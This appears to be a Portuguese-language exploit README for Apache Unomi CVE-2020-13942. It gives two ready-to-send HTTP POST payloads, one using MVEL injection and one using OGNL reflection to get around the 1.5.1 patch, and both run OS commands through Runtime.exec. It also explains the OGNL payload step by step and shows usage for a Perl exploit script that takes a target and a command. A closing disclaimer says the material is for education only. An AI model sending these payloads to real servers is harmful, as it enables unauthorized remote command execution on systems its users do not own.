
Apache Unomi CVE-2020-13942: Vulnerabilidades de RCE
Postagem original do blog sobre a vulnerabilidade: https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
Existem dois vetores de RCE: através de injeção MVEL e através de injeção OGNL. Ambos os vetores visam códigos diferentes, embora os payloads pareçam relativamente semelhantes. A correção anterior do CVE https://nvd.nist.gov/vuln/detail/CVE-2020-11975 tentou limitar a execução de expressões OGNL, mas não considerou o MVEL. O CVE-2020-13942 contorna a correção feita na versão 1.5.1.
Envie as seguintes requisições HTTP usando BurpSuite ou curl para context.js\json exposto pelo servidor Unomi e obtenha RCE. Altere Host e Content-Length de acordo com a URL alvo e o comando do SO.
Ambos os PoCs podem obter HTTP/1.1 400 Header Folding na resposta, o que significa que \r\n estão bagunçados no payload; tente copiar e colar novamente.
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "boom"
}
O PoC OGNL contornou a restrição de ClassLoader introduzida pela versão 1.5.1. Usando a API de reflexão do Java, é possível criar um objeto sem acionar o método ClassLoader.loadClass que restringe as expressões OGNL avaliadas.
Detalhamento da expressão OGNL do payload:
#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") cria um objeto Class de java.lang.Runtime, onde #this é a referência ao objeto de contexto.#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0] obtém a lista de métodos da classe Runtime por meio de reflexão e seleciona o método getRuntime da lista. A parte {^ #this.name.equals(\"getRuntime\")} da expressão procura um Método com o nome getRuntime e retorna uma lista dos Métodos que correspondem à condição; o primeiro e único Método desta lista é getRuntime.#runtimeobject = #runtimemethod.invoke(null,null) chama o método getRuntime() e obtém o objeto Runtime.(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) obtém os métodos da classe Runtime e recupera Runtime.exec() com um único argumento String da lista de métodos.#execmethod.invoke(#runtimeobject,\"gnome-calculator\") chama Runtime.exec() com o argumento especificado.POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"boom"
}
Uso básico:
./apache_unomi.pl [opções]
opções:
./apache_unomi.pl [alvo:porta] [comando] [(método 1) - mevel| (método 2) - ognl]
[+]uso:
./apache_unomi.pl http://127.0.0.1:8181 whoami 1
Todas as informações fornecidas nesta página são apenas para fins educacionais. As informações neste site devem ser usadas apenas para melhorar a segurança de seus sistemas de computador e não para causar ataques maliciosos ou danosos.
Você não deve usar indevidamente essas informações para obter acesso não autorizado a sistemas de computador. Esteja ciente também de que realizar tentativas de invasão em computadores que você não possui, sem permissão por escrito dos proprietários, é ilegal.
Não serei responsável por qualquer dano direto ou indireto causado pelo uso das informações fornecidas neste site.